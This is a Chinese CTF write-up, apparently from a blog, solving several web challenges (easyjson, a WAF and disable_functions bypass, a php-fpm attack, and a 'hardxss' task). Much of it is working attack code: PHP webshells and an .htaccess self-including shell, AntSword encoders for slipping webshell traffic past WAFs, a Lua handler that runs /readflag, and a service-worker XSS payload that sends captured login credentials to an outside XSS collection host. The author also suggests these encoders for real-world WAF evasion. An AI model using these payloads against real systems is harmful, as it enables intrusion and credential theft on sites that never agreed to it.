标签:数组 ima 编码器 注释 length href flag enc worker
这是题目一打开的模样,像极了爱情,我感觉我好像又可以了。
wp1:
xff设置ip 获取目录
filename=index.php可过check
关键代码转unicode,然后进行getshell(具体见博客GETshell大法)
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?\u0070\u0068\u0070\u0020\u0024\u005f\u0047\u0045\u0054\u005b\u0030\u005d\u0028\u0024\u005f\u0047\u0045\u0054\u005b\u0031\u005d\u0029\u003b?>"}
这道题不亏是easyjson,但是这个还有一个解法2
wp2:
通过unciode绕过写入htaccess的自包含木马php_value auto_prepend_fi\le .htaccess#<?php eval($_POST[1])?># \ 然后注释下一行,然后getshell,readflag
这里既然提到了文件包含,就不得不深深地探究一波这个神秘的文件.htaccess
详情看另外一篇文章
因为我在后续的复现过程中,并没有成功地getshell,所以我就简单利用一下大佬的原话对这里进行回复
换行+一个图片文件头就可以shell,至于怎么蚁剑怎么连上去,自己随便写一个编码器(如下),然后流量倒到burp,全局修改一下ua
**
* php::base64编码器
* Create at: 2020/10/08 11:54:20
*/
‘use strict‘;
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data[‘_‘]中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data[‘_‘]).toString(‘base64‘);
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = data[randomID];
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data[‘_‘];
// 返回编码器处理后的 payload 数组
return data;
}
然后用蚂蚁进行链接就可以成功地getshell。这里同时我们也可以扩展一下,在我们的实际运用中,也可以将一些编码的函数在php马儿中打出来,这样我们在实际使用这些马儿的时候,将传输的数据进行编码,然后在马儿中进行编码就可以简单地绕过waf。
最后这道题的实际思路如下:
经过百度,宝塔的实际waf是用lua脚本写的,这一点在https://blog.csdn.net/zhuxiongyin/article/details/98174377这个文章中就可以知道,所以我们这个apache环境必定支持lua模块,这样我们就可以很简单地绕过PHP的disfunc的限制和以及open_dir的限制,简单的一个lua脚本即可绕过
exp如下:
AddHandler lua-script .lua
require "string"
--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen(‘/readflag‘)
local a = t:read("*all")
r:puts(a)
if r.method == ‘GET‘ then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
当然还有强大的wp2:攻击php-fpm
https://www.yuque.com/docs/share/ecb03c8b-300a-4146-9d30-3ce396a7bb1d?#
下面开始直接打,相关绕过方法,查看其他文档
首先上传shell,先链接蚁剑(可参考Getshell大法文章)
?????? [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21770 IconResource=%SystemRoot%\system32\imageres.dll,-112 IconFile=%SystemRoot%\system32\shell32.dll IconIndex=-235
<?php
@eval(urldecode(urldecode(urldecode($_POST[‘aa‘]))));
?>
然后配置对应的编码器
/**
* php::base64编码器
* Create at: 2020/10/12 17:16:57
*/
‘use strict‘;
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
function urlencode(e, r) {
return ++r ? "%" + ([10] + e.charCodeAt().toString(16)).slice(-2) :
decodeURI(encodeURIComponent(e)).replace(/[^]/g, urlencode)
}
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data[‘_‘]中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data[‘_‘]).toString();
data[pwd]=urlencode(urlencode(data[randomID]));
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data[‘_‘];
delete data[randomID];
// 返回编码器处理后的 payload 数组
return data;
}
然后进行链接
现在点击链接就可以连接成功。
再添加这样一条数据
注意后面的php文件名,然后我们用刚才第一条数据进行绕过disfunc。(这里省略了一步查找sock,就是做题常识了)。这里我就直接给出来了/tmp/php-cgi-74.sock
如下图配置
把地址复制好,然后一直打。我一把嗦了
然后打开刚才那个链接,打开虚拟终端,执行命令
注意有效期只有一分钟,没有干到时间就要重打,然后就是这里特别容易因为网络原因而打失败,建议大家多打几次,因为环境基本上都是满足的,一般是不应该出现打不通的情况的。
这样就是时间过了
大致理解的原理如下:
观察源代码找到xss注入点,然后引用恶意的js代码进行xss注入,但是这道题的考察点不知道大佬们是怎么直接想到使用windows sever的api的这种骚操作的,我只会说一句,太骚了。
参考链接:https://xz.aliyun.com/t/3228
参考链接:https://120.25.156.28/posts/1.html
大概的概括就是 某个域利用 xxxx/aaa.js 注册了一个service worker之后 xxxx/目录的所有请求 都可以被aaa.js中的代码劫持和控制响应wtf? 还是持久化触发的,注册完以后 注册页面可以关闭。在service worker整个存活期间(很久很久) 页面都一直可以被劫持
但是注册service worker 也有很多苛刻的条件(为了安全)。
条件:
存在有缺陷的 JSONP 接口
JSONP 的目录尽可能浅(最好在根目录下),如果放在域的根目录下,将会收到这个域下的所有fetch事件
JSONP 返回的 Content-Type 必须是 JS 类型
存在 XSS 的页面
JSONP 返回的 Content-Type 必须是 JS 类型可能这是突破口
然后绕过js代码长度限制的方法就是引入外部的js:callback=importScripts(‘//xlcxss.sinaapp.com/xss/sw.js‘);
大致解题流程如下:
1.查看页面源代码,找到题目的突破口
2.本题的思路逻辑是:在登陆界面存在着xss注入,通过在这个界面的document.domain
和jsonp来进行跨域操作,来在本地先进行对请求的hook,抓取请求中的账户名和密码(这个题是通过get请求进行验证的),在这里完成payload的构造后,再去向站长提交问题,注意这个URL的正确提交,后面带上callback进行xss注入,然后爆破验证码就可以了,最后查看账号密码进行登陆
3.大骂一下啊,现在网上的alji免费xss平台,做的太拉垮,但是谁叫我没有vps呢?
下面贴上代码,使用的是xs.sb平台
这是操作文件
self.addEventListener(‘fetch‘, function (event) {
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return requestBackend(event);
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url);
return new Response("<script>var a =location.search; a =a.replace(‘?‘,‘‘);a=a.replace(‘&‘,‘‘);var b=a.substring(0,a[‘length‘]/2);var c=a.substring(a[‘length‘]/2,a[‘length‘]);location=‘https://xsshs.cn/xss.php?do=api&id=pNII&uin=‘+b+‘&skey=‘+c;</script>", {headers: { ‘Content-Type‘: ‘text/html‘ }})
}
入口文件
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement(‘iframe‘);
iff.src = ‘https://auth.hardxss.xhlj.wetolink.com/‘;
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts(‘//xs.sb/l6s9‘)//")`;
function iffLoadover(){
iff.contentWindow.eval(exp);
}
md5爆破文件就不上传了,感谢赵总,爱了爱了
标签:数组 ima 编码器 注释 length href flag enc worker
原文地址:https://www.cnblogs.com/dem0/p/14198267.html